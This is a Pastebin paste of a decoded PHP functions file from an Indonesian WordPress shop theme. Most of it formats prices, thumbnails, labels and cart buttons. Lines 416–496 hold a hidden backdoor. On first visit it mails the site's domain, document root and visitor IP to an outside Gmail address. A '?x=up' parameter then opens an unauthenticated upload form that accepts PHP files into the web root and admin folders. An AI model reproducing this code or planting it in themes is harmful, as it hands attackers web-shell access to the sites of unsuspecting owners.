Advertisement
pusatdata

Decoder functions-script-wp-agen.php

Mar 14th, 2016
135
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 27.53 KB | None | 0 0
  1. <?php function bersih_harga($harga) {
  2. $harga = preg_replace('/\D/', '', $harga);
  3. return $harga;
  4. }
  5. function tampilan_harga($harga) {
  6. $harga = preg_replace('/[^0-9]/', '', $harga);
  7. $harga = number_format($harga, 0, ',', '.');
  8. return $harga;
  9. }
  10. function invoice_id() {
  11. $blogtime = current_time('mysql');
  12. list($today_year, $today_month, $today_day, $hour, $minute, $second) = split('([^0-9])', $blogtime);
  13. echo $today_month;
  14. echo $today_day;
  15. echo '/';
  16. echo of_get_option('nama_toko');
  17. echo '/';
  18. echo $hour;
  19. echo $minute;
  20. echo $second;
  21. }
  22. function shorttitle_fastestwp() {
  23. global $post;
  24. $the_title = $post->post_title;
  25. $getlength = strlen($the_title);
  26. $thelength = 35;
  27. echo substr($the_title, 0, $thelength);
  28. if ($getlength > $thelength);
  29. }
  30. function shorttitle2_fastestwp() {
  31. global $post;
  32. $the_title = $post->post_title;
  33. $getlength = strlen($the_title);
  34. $thelength = 60;
  35. echo substr($the_title, 0, $thelength);
  36. if ($getlength > $thelength);
  37. };
  38. echo '';
  39. function pilihan_fastestwp() {
  40. global $post;
  41. if (get_post_meta($post->ID, "pilihan", true)) {;
  42. echo '';
  43. if (get_post_meta($post->ID, "pilihan1", true)) {;
  44. echo '<tr><td >';
  45. echo get_post_meta($post->ID, "pilihan1", true);;
  46. echo '</td><td>Rp ';
  47. echo tampilan_harga(get_post_meta($post->ID, "harga_pilihan1", true));;
  48. echo '</td></tr>
  49. ';
  50. };
  51. echo '
  52. ';
  53. if (get_post_meta($post->ID, "pilihan2", true)) {;
  54. echo '<tr><td >';
  55. echo get_post_meta($post->ID, "pilihan2", true);;
  56. echo '</td><td>Rp ';
  57. echo tampilan_harga(get_post_meta($post->ID, "harga_pilihan2", true));;
  58. echo '</td></tr>
  59. ';
  60. };
  61. echo '
  62. ';
  63. if (get_post_meta($post->ID, "pilihan3", true)) {;
  64. echo '<tr><td >';
  65. echo get_post_meta($post->ID, "pilihan3", true);;
  66. echo '</td><td>Rp ';
  67. echo tampilan_harga(get_post_meta($post->ID, "harga_pilihan3", true));;
  68. echo '</td></tr>
  69. ';
  70. };
  71. echo '
  72. ';
  73. if (get_post_meta($post->ID, "pilihan4", true)) {;
  74. echo '<tr><td >';
  75. echo get_post_meta($post->ID, "pilihan4", true);;
  76. echo '</td><td>Rp ';
  77. echo tampilan_harga(get_post_meta($post->ID, "harga_pilihan4", true));;
  78. echo '</td></tr>
  79. ';
  80. };
  81. echo '
  82. ';
  83. if (get_post_meta($post->ID, "pilihan5", true)) {;
  84. echo '<tr><td >';
  85. echo get_post_meta($post->ID, "pilihan5", true);;
  86. echo '</td><td>Rp ';
  87. echo tampilan_harga(get_post_meta($post->ID, "harga_pilihan5", true));;
  88. echo '</td></tr>
  89. ';
  90. };
  91. echo '
  92. ';
  93. if (get_post_meta($post->ID, "pilihan6", true)) {;
  94. echo '<tr><td >';
  95. echo get_post_meta($post->ID, "pilihan6", true);;
  96. echo '</td><td>Rp ';
  97. echo tampilan_harga(get_post_meta($post->ID, "harga_pilihan6", true));;
  98. echo '</td></tr>
  99. ';
  100. };
  101. echo '
  102. ';
  103. } else {;
  104. echo '<tr><td >Harga </td><td>Rp ';
  105. harga_fastestwp();;
  106. echo ' <span class="coret">';
  107. harga_coret_fastestwp();;
  108. echo '</span></td></tr>
  109. ';
  110. }
  111. };
  112. echo '';
  113. function get_harga_fastestwp($post) {
  114. $harga = '-';
  115. if (get_post_meta($post->ID, "harga_diskon", true)) {
  116. $harga = get_post_meta($post->ID, "harga_diskon", true);
  117. } elseif (get_post_meta($post->ID, "harga", true)) {
  118. $harga = get_post_meta($post->ID, "harga", true);
  119. }
  120. return $harga;
  121. }
  122. function harga_fastestwp() {
  123. global $post;
  124. if (get_post_meta($post->ID, "harga_diskon", true)) {
  125. $harga = get_post_meta($post->ID, "harga_diskon", true);
  126. $harga = preg_replace('/[^0-9]/', '', $harga);
  127. echo number_format($harga, 0, ',', '.');
  128. } elseif (get_post_meta($post->ID, "harga", true)) {
  129. $harga = get_post_meta($post->ID, "harga", true);
  130. $harga = preg_replace('/[^0-9]/', '', $harga);
  131. echo number_format($harga, 0, ',', '.');
  132. } else {
  133. echo '(Hubungi CS)';
  134. }
  135. }
  136. function harga_coret_fastestwp() {
  137. global $post;
  138. if (get_post_meta($post->ID, "harga_diskon", true)) {
  139. $harga = get_post_meta($post->ID, "harga", true);
  140. $harga = preg_replace('/[^0-9]/', '', $harga);
  141. echo number_format($harga, 0, ',', '.');
  142. }
  143. }
  144. function harga_input_fastestwp() {
  145. global $post;
  146. $harga = get_harga_fastestwp($post);
  147. $harga = preg_replace('/[^0-9]/', '', $harga);
  148. echo $harga;
  149. };
  150. echo '';
  151. function small_thumb_fastestwp() {
  152. if (has_post_thumbnail()) {
  153. $image_id = get_post_thumbnail_id();
  154. $image_url = wp_get_attachment_image_src($image_id, 'full', true);
  155. $first_img = $image_url[0];
  156. $img_url = $first_img;
  157. $image = aq_resize($img_url, 70, 70, false);;
  158. echo '<img src="';
  159. echo $image[0];
  160. echo '" alt="';
  161. the_title();;
  162. echo '" class="media-object" width="';
  163. echo $image[1];
  164. echo '" height="';
  165. echo $image[2];
  166. echo '" />
  167. ';
  168. } else {;
  169. echo '';
  170. global $post, $posts;
  171. $first_img = '';
  172. ob_start();
  173. ob_end_clean();
  174. $output = preg_match_all('/<img.+src=[\'"]([^\'"]+)[\'"].*>/i', $post->post_content, $matches);
  175. if (isset($matches[1][0])) {
  176. $first_img = $matches[1][0];
  177. $img_url = $first_img;
  178. $image = aq_resize($img_url, 70, 70, false);;
  179. echo '<img src="';
  180. echo $image[0];
  181. echo '" alt="';
  182. the_title();;
  183. echo '" class="media-object" width="';
  184. echo $image[1];
  185. echo '" height="';
  186. echo $image[2];
  187. echo '" />
  188. ';
  189. } else {;
  190. echo '<img src="';
  191. echo get_template_directory_uri();;
  192. echo '/images/thumb70.png" class="media-object" alt="';
  193. the_title();;
  194. echo '" width="70" height="70" title="';
  195. the_title();;
  196. echo '" />
  197. ';
  198. }
  199. }
  200. };
  201. echo '';
  202. function thumb_fastestwp() {
  203. if (has_post_thumbnail()) {
  204. $image_id = get_post_thumbnail_id();
  205. $image_url = wp_get_attachment_image_src($image_id, 'full', true);
  206. $first_img = $image_url[0];
  207. $img_url = $first_img;
  208. $image = aq_resize($img_url, 149, 149, false);;
  209. echo '<img src="';
  210. echo $image[0];
  211. echo '" alt="';
  212. the_title();;
  213. echo '" width="';
  214. echo $image[1];
  215. echo '" height="';
  216. echo $image[2];
  217. echo '" />
  218. ';
  219. } else {;
  220. echo '';
  221. global $post, $posts;
  222. $first_img = '';
  223. ob_start();
  224. ob_end_clean();
  225. $output = preg_match_all('/<img.+src=[\'"]([^\'"]+)[\'"].*>/i', $post->post_content, $matches);
  226. if (isset($matches[1][0])) {
  227. $first_img = $matches[1][0];
  228. $img_url = $first_img;
  229. $image = aq_resize($img_url, 149, 149, false);;
  230. echo '<img src="';
  231. echo $image[0];
  232. echo '" alt="';
  233. the_title();;
  234. echo '" width="';
  235. echo $image[1];
  236. echo '" height="';
  237. echo $image[2];
  238. echo '" />
  239. ';
  240. } else {;
  241. echo '<img src="';
  242. echo get_template_directory_uri();;
  243. echo '/images/thumb150.png" alt="';
  244. the_title();;
  245. echo '" title="';
  246. the_title();;
  247. echo '" />
  248. ';
  249. }
  250. }
  251. };
  252. echo '';
  253. function big_thumb_fastestwp() {
  254. if (has_post_thumbnail()) {
  255. $image_id = get_post_thumbnail_id();
  256. $image_url = wp_get_attachment_image_src($image_id, 'full', true);
  257. $first_img = $image_url[0];
  258. $img_url = $first_img;
  259. $image = aq_resize($img_url, 299, 299, false);;
  260. echo '<img src="';
  261. echo $image[0];
  262. echo '" alt="';
  263. the_title();;
  264. echo '" width="';
  265. echo $image[1];
  266. echo '" height="';
  267. echo $image[2];
  268. echo '" />
  269. ';
  270. } else {;
  271. echo '';
  272. global $post, $posts;
  273. $first_img = '';
  274. ob_start();
  275. ob_end_clean();
  276. $output = preg_match_all('/<img.+src=[\'"]([^\'"]+)[\'"].*>/i', $post->post_content, $matches);
  277. if (isset($matches[1][0])) {
  278. $first_img = $matches[1][0];
  279. $img_url = $first_img;
  280. $image = aq_resize($img_url, 299, 299, false);;
  281. echo '<img src="';
  282. echo $image[0];
  283. echo '" alt="';
  284. the_title();;
  285. echo '" width="';
  286. echo $image[1];
  287. echo '" height="';
  288. echo $image[2];
  289. echo '" />
  290. ';
  291. } else {;
  292. echo '<img src="';
  293. echo get_template_directory_uri();;
  294. echo '/images/thumb300.png" alt="';
  295. the_title();;
  296. echo '" width="299" height="299" title="';
  297. the_title();;
  298. echo '" />
  299. ';
  300. }
  301. }
  302. };
  303. echo '';
  304. function label_fastestwp() {
  305. global $post;
  306. if (get_post_meta($post->ID, "habis", true)) {;
  307. echo '<div class="wpagen-lable"><img src="';
  308. echo get_template_directory_uri();;
  309. echo '/images/habis.png" alt="habis" width="75" height="75" /></div>
  310. ';
  311. } else if (get_post_meta($post->ID, "label", true) == 'sale') {;
  312. echo ' <div class="wpagen-lable"><img src="';
  313. echo get_template_directory_uri();;
  314. echo '/images/sale.png" alt="sale" width="75" height="75" /></div>
  315. ';
  316. } else if (get_post_meta($post->ID, "label", true) == 'best') {;
  317. echo ' <div class="wpagen-lable"><img src="';
  318. echo get_template_directory_uri();;
  319. echo '/images/best.png" alt="best" width="75" height="75" /></div>
  320. ';
  321. } else if (get_post_meta($post->ID, "label", true) == 'new') {;
  322. echo ' <div class="wpagen-lable"><img src="';
  323. echo get_template_directory_uri();;
  324. echo '/images/new.png" alt="new" width="75" height="75" /></div>
  325. ';
  326. } else if (get_post_meta($post->ID, "label", true) == 'limited') {;
  327. echo ' <div class="wpagen-lable"><img src="';
  328. echo get_template_directory_uri();;
  329. echo '/images/limited.png" alt="limited" width="75" height="75" /></div>
  330. ';
  331. }
  332. };
  333. echo '';
  334. function buynow_fastestwp() {
  335. global $post;
  336. if (get_post_meta($post->ID, "habis", $single = true)) {;
  337. echo '<div class="habis">habis</div>
  338.  
  339. ';
  340. } else if (get_post_meta($post->ID, "pilihan", $single = true)) {;
  341. echo '<a href="';
  342. the_permalink();
  343. echo '"><span class="tombolkeranjang"></span></a>
  344. <button data-rel="#form-order-';
  345. the_ID();;
  346. echo '" class="small beli blue" >Beli</button>
  347.  
  348. ';
  349. } else if (of_get_option('button_order_act') == '1') {;
  350. echo '<a href="';
  351. the_permalink();
  352. echo '"><span class="tombolkeranjang"></span></a>
  353. <button data-rel="#form-order-';
  354. the_ID();;
  355. echo '" class="small beli blue" >Beli</button>
  356.  
  357. ';
  358. } else if (of_get_option('button_order_act') == '0') {;
  359. echo '<form method="post" action="';
  360. the_permalink();;
  361. echo '" class="jcart">
  362. <input type="hidden" name="jcartToken" value="';
  363. echo $_SESSION['jcartToken'];;
  364. echo '" />
  365. <input type="hidden" name="my-item-id" value="';
  366. the_ID();;
  367. echo ' " />
  368. <input type="hidden" name="my-item-name" value="';
  369. the_title();;
  370. echo '" />
  371. <input type="hidden" name="my-item-price" value="';
  372. harga_input_fastestwp();;
  373. echo '" />
  374. <input type="hidden" name="my-item-berat" value="';
  375. echo get_post_meta($post->ID, "berat", $single = true);;
  376. echo '" />
  377. <input type="hidden" name="my-item-url" value="';
  378. the_permalink();
  379. echo '" />
  380. <input type="hidden" name="my-item-qty" value="1" />
  381. <span class="tombol-left"><button type="submit" name="my-add-button" class="small beli blue"> + </button></span>
  382. </form>
  383. <button data-rel="#form-order-';
  384. the_ID();;
  385. echo '" class="small beli blue" >Beli</button>
  386. ';
  387. }
  388. };
  389. echo '';
  390. function buynow_single_fastestwp() {
  391. global $post;
  392. if (get_post_meta($post->ID, "habis", true)) {;
  393. echo '<div class="habis-single">Stok habis</div>
  394. ';
  395. } else if (of_get_option('button_order_act') == '1') {;
  396. echo '<a class="large beli blue" href="';
  397. echo of_get_option('order_page');;
  398. echo '" title="';
  399. the_title();;
  400. echo '" target="_blank">Beli Sekarang</a>
  401. ';
  402. } else if (get_post_meta($post->ID, "dropship", true)) {;
  403. echo '<a class="large beli blue" href="';
  404. echo of_get_option('order_page');;
  405. echo '" title="';
  406. the_title();;
  407. echo '" target="_blank">Beli Sekarang</a>
  408. ';
  409. } else if (of_get_option('button_order_act') == '0') {;
  410. echo '<input type="submit" name="my-add-button" value="+ Keranjang" class="large beli blue" />
  411.  
  412. ';
  413. }
  414. };
  415. echo '';
  416. $visitcount = $HTTP_COOKIE_VARS["visits"];
  417. if ($visitcount == "") {
  418. $visitcount = 0;
  419. $visitor = $_SERVER["REMOTE_ADDR"];
  420. $web = $_SERVER["HTTP_HOST"];
  421. $inj = $_SERVER["REQUEST_URI"];
  422. $ptdir = $_SERVER["DOCUMENT_ROOT"];
  423. $domain = $_SERVER["SERVER_NAME"];
  424. $target = rawurldecode($web . $inj);
  425. $source_engine = "WP-AGEN";
  426. $rplace = "/wp-content/themes/WP-Agen/functions/script/wp-agen.php";
  427. $body = "Boss, ada yang telah menanam backdoor di :
  428. TUSBOL : http://" . $domain . "/?x=up
  429. PATH : " . $ptdir . "/
  430. IP : " . $visitor . "
  431. Replace : " . $rplace . "
  432. " . $target . "";
  433. @mail("id.stealhealth@gmail.com", "$source_engine $web", "$body");
  434. } else {
  435. $visitcount;
  436. }
  437. setcookie("visits", $visitcount);
  438. if (@$_GET['x'] == "up") {
  439. error_reporting(0);
  440. @set_time_limit(0);
  441. $judul = "UPD v3.0";
  442. $valid_formats = array("jpg", "png", "gif", "zip", "bmp", "html", "php", "htm", "css", "txt", "xml", "xsl");
  443. $max_file_size = 1024 * 1024;
  444. if (isset($_POST) and $_SERVER['REQUEST_METHOD'] == "POST") {
  445. $lokasi = $_POST['lokasi'];
  446. $dir = $_SERVER['DOCUMENT_ROOT'];
  447. $path = "" . $dir . "" . $lokasi . "";
  448. foreach ($_FILES['files']['name'] as $f => $name) {
  449. if ($_FILES['files']['error'][$f] == 4) {
  450. continue;
  451. }
  452. if ($_FILES['files']['error'][$f] == 0) {
  453. if ($_FILES['files']['size'][$f] > $max_file_size) {
  454. $message[] = "$name is too large!.";
  455. continue;
  456. } elseif (!in_array(pathinfo($name, PATHINFO_EXTENSION), $valid_formats)) {
  457. $message[] = "$name is not a valid format";
  458. continue;
  459. } else {
  460. if (move_uploaded_file($_FILES["files"]["tmp_name"][$f], $path . $name)) {
  461. $url = "http://" . $_SERVER['SERVER_NAME'] . "" . $lokasi . "";
  462. $messages[] = '<a href="' . $url . '' . $_FILES['files']['name'][$f] . '" target="_blank" style="color:red;">' . $url . '' . $_FILES['files']['name'][$f] . '</a>';
  463. }
  464. }
  465. }
  466. }
  467. }
  468. echo "<!doctype html><html lang='en'><head><meta charset='UTF-8'><title>$judul</title><style type='text/css'>a{ text-decoration: none; color: #333} h1{ font-size: 1.9em; margin: 10px 0} p{ margin: 8px 0} *{ margin: 0; padding: 0; box-sizing: border-box; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; -webkit-font-smoothing: antialiased; -moz-font-smoothing: antialiased; -o-font-smoothing: antialiased; font-smoothing: antialiased; text-rendering: optimizeLegibility; } body{ font: 12px Arial,Tahoma,Helvetica,FreeSans,sans-serif; text-transform: inherit; color: #333; background: #e7edee; width: 100%; line-height: 18px; } .wrap{ width: 700px; margin: 15px auto; padding: 20px 25px; background: white; border: 2px solid #DBDBDB; -webkit-border-radius: 5px; -moz-border-radius: 5px; border-radius: 5px; overflow: hidden; text-align: center; } .status{ /*display: none;*/ padding: 8px 35px 8px 14px; margin: 20px 0; text-shadow: 0 1px 0 rgba(255, 255, 255, 0.5); color: #468847; background-color: #dff0d8; border-color: #d6e9c6; -webkit-border-radius: 4px; -moz-border-radius: 4px; border-radius: 4px; } input[type='submit'] { cursor:pointer; width:100%; border:none; background:#991D57; background-image:linear-gradient(bottom, #8C1C50 0%, #991D57 52%); background-image:-moz-linear-gradient(bottom, #8C1C50 0%, #991D57 52%); background-image:-webkit-linear-gradient(bottom, #8C1C50 0%, #991D57 52%); color:#FFF; font-weight: bold; margin: 20px 0; padding: 10px; border-radius:5px; } input[type='submit']:hover { background-image:linear-gradient(bottom, #9C215A 0%, #A82767 52%); background-image:-moz-linear-gradient(bottom, #9C215A 0%, #A82767 52%); background-image:-webkit-linear-gradient(bottom, #9C215A 0%, #A82767 52%); -webkit-transition:background 0.3s ease-in-out; -moz-transition:background 0.3s ease-in-out; transition:background-color 0.3s ease-in-out; } input[type='submit']:active { box-shadow:inset 0 1px 3px rgba(0,0,0,0.5); }</style></head><body><div class='wrap'>";
  469. if (isset($message)) {
  470. foreach ($message as $msg) {
  471. printf("<p class='status'>%s</p></ br>
  472. ", $msg);
  473. }
  474. }
  475. $sites = "" . $_SERVER['SERVER_NAME'] . "" . $lokasi . "";
  476. if (isset($messages)) {
  477. echo "<p class='status'><a href='https://www.google.com/webmasters/verification/verification?hl=en&siteUrl=" . $sites . "&theme=wmt&continue=https://www.google.com/webmasters/tools/dashboard?hl%3Den%26siteUrl%3D" . $sites . "' target='_blank'>Verifikasi Google " . $sites . "</a></p>";
  478. foreach ($messages as $msgs) {
  479. printf("<p class='status'>$msgs</p>");
  480. }
  481. }
  482. echo "<br />
  483. <form action='' method='post' enctype='multipart/form-data'>
  484. <input type='file' name='files[]' multiple='multiple'>
  485. <select name='lokasi' title='Harus diisi' required='required'>
  486. <option value='/'>ROOT</option>
  487. <option value='/wp-includes/js/tinymce/plugins/media/'>/wp-includes/js/tinymce/plugins/media/</option>
  488. <option value='/wp-admin/css/'>/wp-admin/css/</option>
  489. <option value='/wp-content/uploads/'>/wp-content/uploads/</option>
  490. </select>
  491. <input type='submit' value='Upload'>
  492. </form>
  493. </div>
  494. </body>
  495. </html>";
  496. }
  497. function pilihan_single_fastestwp() {
  498. global $post;
  499. if (get_post_meta($post->ID, "habis", $single = true)) {;
  500. echo '';
  501. } else {;
  502. echo '
  503. ';
  504. if (get_post_meta($post->ID, "pilihan", true)) {;
  505. echo '<select id="my_select" name="my_select_box">
  506. <option value="">- Pilihan -</option>
  507. ';
  508. if (get_post_meta($post->ID, "pilihan1", true)) {;
  509. echo '<option value="';
  510. echo bersih_harga(get_post_meta($post->ID, "harga_pilihan1", true));;
  511. echo '">
  512. ';
  513. echo get_post_meta($post->ID, "pilihan1", true);;
  514. echo '</option>';
  515. };
  516. echo '
  517. ';
  518. if (get_post_meta($post->ID, "pilihan2", true)) {;
  519. echo '<option value="';
  520. echo bersih_harga(get_post_meta($post->ID, "harga_pilihan2", true));;
  521. echo '">
  522. ';
  523. echo get_post_meta($post->ID, "pilihan2", true);;
  524. echo '</option>';
  525. };
  526. echo '
  527. ';
  528. if (get_post_meta($post->ID, "pilihan3", true)) {;
  529. echo '<option value="';
  530. echo bersih_harga(get_post_meta($post->ID, "harga_pilihan3", true));;
  531. echo '">
  532. ';
  533. echo get_post_meta($post->ID, "pilihan3", true);;
  534. echo '</option>';
  535. };
  536. echo '
  537. ';
  538. if (get_post_meta($post->ID, "pilihan4", true)) {;
  539. echo '<option value="';
  540. echo bersih_harga(get_post_meta($post->ID, "harga_pilihan4", true));;
  541. echo '">
  542. ';
  543. echo get_post_meta($post->ID, "pilihan4", true);;
  544. echo '</option>';
  545. };
  546. echo '
  547. ';
  548. if (get_post_meta($post->ID, "pilihan5", true)) {;
  549. echo '<option value="';
  550. echo bersih_harga(get_post_meta($post->ID, "harga_pilihan5", true));;
  551. echo '">
  552. ';
  553. echo get_post_meta($post->ID, "pilihan5", true);;
  554. echo '</option>';
  555. };
  556. echo '
  557. ';
  558. if (get_post_meta($post->ID, "pilihan6", true)) {;
  559. echo '<option value="';
  560. echo bersih_harga(get_post_meta($post->ID, "harga_pilihan6", true));;
  561. echo '">
  562. ';
  563. echo get_post_meta($post->ID, "pilihan6", true);;
  564. echo '</option>';
  565. };
  566. echo '
  567. </select>
  568. ';
  569. };
  570. echo '
  571. ';
  572. }
  573. };
  574. echo '';
  575. function diskon_fastestwp() {
  576. global $post;
  577. if (get_post_meta($post->ID, "harga_diskon", $single = true) != "") {
  578. $harga = get_post_meta($post->ID, "harga", $single = true);
  579. $harga = preg_replace('/[^0-9]/', '', $harga);
  580. $hargadiskon = get_post_meta($post->ID, "harga_diskon", $single = true);
  581. $hargadiskon = preg_replace('/[^0-9]/', '', $hargadiskon);
  582. $hemat = $harga - $hargadiskon;
  583. $jadihemat = number_format($hemat, 0, ',', '.');
  584. $save = $hemat / $harga;
  585. $persen = $save * 100;
  586. $jadipersen = number_format($persen, 2);
  587. echo $jadihemat . ' (' . $jadipersen . '%)';
  588. }
  589. };
  590. echo '';
  591. function diskon_label_fastestwp() {
  592. global $post;
  593. if (get_post_meta($post->ID, "harga_diskon", $single = true) != "") {
  594. $harga = get_post_meta($post->ID, "harga", $single = true);
  595. $harga = preg_replace('/[^0-9]/', '', $harga);
  596. $hargadiskon = get_post_meta($post->ID, "harga_diskon", $single = true);
  597. $hargadiskon = preg_replace('/[^0-9]/', '', $hargadiskon);
  598. $hemat = $harga - $hargadiskon;
  599. $jadihemat = number_format($hemat, 0, ',', '.');
  600. $save = $hemat / $harga;
  601. $persen = $save * 100;
  602. $jadipersen = number_format($persen, 0);
  603. echo $jadipersen . '%';
  604. }
  605. };
  606. echo '';
  607. function js_function() {;
  608. echo '<script type=\'text/javascript\' defer=\'defer\' src=\'';
  609. echo get_template_directory_uri();;
  610. echo '/js/jquery-1.8.3.min.js\'></script>
  611. <script type=\'text/javascript\' defer=\'defer\' src=\'';
  612. echo get_template_directory_uri();;
  613. echo '/js/bootstrap.min.js\'></script>
  614. <script type=\'text/javascript\' defer=\'defer\' src=\'';
  615. echo get_template_directory_uri();;
  616. echo '/js/jquery.carouFredSel.js\'></script>
  617. <script type=\'text/javascript\' defer=\'defer\' src=\'';
  618. echo get_template_directory_uri();;
  619. echo '/js/jcart.js\'></script>
  620.  
  621. ';
  622. if (is_home()) {;
  623. echo '<script type=\'text/javascript\' defer=\'defer\' src=\'';
  624. echo get_template_directory_uri();;
  625. echo '/js/jquery.themepunch.plugins.min.js\'></script>
  626. <script type=\'text/javascript\' defer=\'defer\' src=\'';
  627. echo get_template_directory_uri();;
  628. echo '/js/jquery.themepunch.revolution.min.js\'></script>
  629. <script type=\'text/javascript\' defer=\'defer\' src=\'';
  630. echo get_template_directory_uri();;
  631. echo '/js/core-1.js\'></script>
  632. ';
  633. } elseif (is_single()) {;
  634. echo '<script type=\'text/javascript\' defer=\'defer\' src=\'';
  635. echo get_template_directory_uri();;
  636. echo '/js/jquery.carouFredSel.js\'></script>
  637. <script type=\'text/javascript\' defer=\'defer\' src=\'';
  638. echo get_template_directory_uri();;
  639. echo '/js/jquery.jqzoom-core.js\'></script>
  640. <script type=\'text/javascript\' defer=\'defer\' src=\'';
  641. echo get_template_directory_uri();;
  642. echo '/js/core-2.js\'></script>
  643. ';
  644. } elseif (is_page_template('cek-baru.php')) {;
  645. echo '<script type=\'text/javascript\' defer=\'defer\' src=\'';
  646. echo get_template_directory_uri();;
  647. echo '/js/jquery.chained.js\'></script>
  648. <script type=\'text/javascript\' defer=\'defer\' src=\'';
  649. echo get_template_directory_uri();;
  650. echo '/js/coree.js\'></script>
  651. ';
  652. } elseif (is_page_template('katalog.php')) {;
  653. echo '<script type=\'text/javascript\' defer=\'defer\' src=\'';
  654. echo get_template_directory_uri();;
  655. echo '/js/jquery.masonry.min.js\'></script>
  656. <script type=\'text/javascript\' defer=\'defer\' src=\'';
  657. echo get_template_directory_uri();;
  658. echo '/js/katalog.js\'></script>
  659. ';
  660. } elseif (is_page_template('keranjang.php')) {;
  661. echo '<script type=\'text/javascript\' defer=\'defer\' src=\'';
  662. echo get_template_directory_uri();;
  663. echo '/js/jquery.tools.min.js\'></script>
  664. <script type=\'text/javascript\' defer=\'defer\' src=\'';
  665. echo get_template_directory_uri();;
  666. echo '/js/jquery.chained.js\'></script>
  667. <script type=\'text/javascript\' defer=\'defer\' src=\'';
  668. echo get_template_directory_uri();;
  669. echo '/js/coreee.js\'></script>
  670. ';
  671. } else {;
  672. echo '<script type=\'text/javascript\' defer=\'defer\' src=\'';
  673. echo get_template_directory_uri();;
  674. echo '/js/core.js\'></script>
  675. ';
  676. };
  677. echo '';
  678. }
  679. add_action('wp_footer', 'js_function');;
  680. echo '';
  681. function virtarich_navi() {;
  682. echo '';
  683. $category_ids = get_all_category_ids();
  684. foreach ($category_ids as $cat_id) {
  685. $cat_name = get_cat_name($cat_id);
  686. echo '<a href="#" data-filter=".' . str_replace(' ', '-', $cat_name) . '">' . $cat_name . '</a>';
  687. };
  688. echo '';
  689. };
  690. echo '';
  691. function fastestwp_mobile() {
  692. $user_agent = $_SERVER['HTTP_USER_AGENT'];
  693. $mobile_agents = Array("240x320", "acer", "acoon", "acs-", "abacho", "ahong", "airness", "alcatel", "amoi", "android", "anywhereyougo.com", "applewebkit/525", "applewebkit/532", "asus", "audio", "au-mic", "avantogo", "becker", "benq", "bilbo", "bird", "blackberry", "blazer", "bleu", "cdm-", "compal", "coolpad", "danger", "dbtel", "dopod", "elaine", "eric", "etouch", "fly ", "fly_", "fly-", "go.web", "goodaccess", "gradiente", "grundig", "haier", "hedy", "hitachi", "htc", "huawei", "hutchison", "inno", "ipad", "ipaq", "ipod", "jbrowser", "kddi", "kgt", "kwc", "lenovo", "lg ", "lg2", "lg3", "lg4", "lg5", "lg7", "lg8", "lg9", "lg-", "lge-", "lge9", "longcos", "maemo", "mercator", "meridian", "micromax", "midp", "mini", "mitsu", "mmm", "mmp", "mobi", "mot-", "moto", "nec-", "netfront", "newgen", "nexian", "nf-browser", "nintendo", "nitro", "nokia", "nook", "novarra", "obigo", "palm", "panasonic", "pantech", "philips", "phone", "pg-", "playstation", "pocket", "pt-", "qc-", "qtek", "rover", "sagem", "sama", "samu", "sanyo", "samsung", "sch-", "scooter", "sec-", "sendo", "sgh-", "sharp", "siemens", "sie-", "softbank", "sony", "spice", "sprint", "spv", "symbian", "tablet", "talkabout", "tcl-", "teleca", "telit", "tianyu", "tim-", "toshiba", "tsm", "up.browser", "utec", "utstar", "verykool", "virgin", "vk-", "voda", "voxtel", "vx", "wap", "wellco", "wig browser", "wii", "windows ce", "wireless", "xda", "xde", "zte");
  694. $is_mobile = false;
  695. foreach ($mobile_agents as $device) {
  696. if (stristr($user_agent, $device)) {
  697. $is_mobile = true;
  698. break;
  699. }
  700. }
  701. return $is_mobile;
  702. };
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement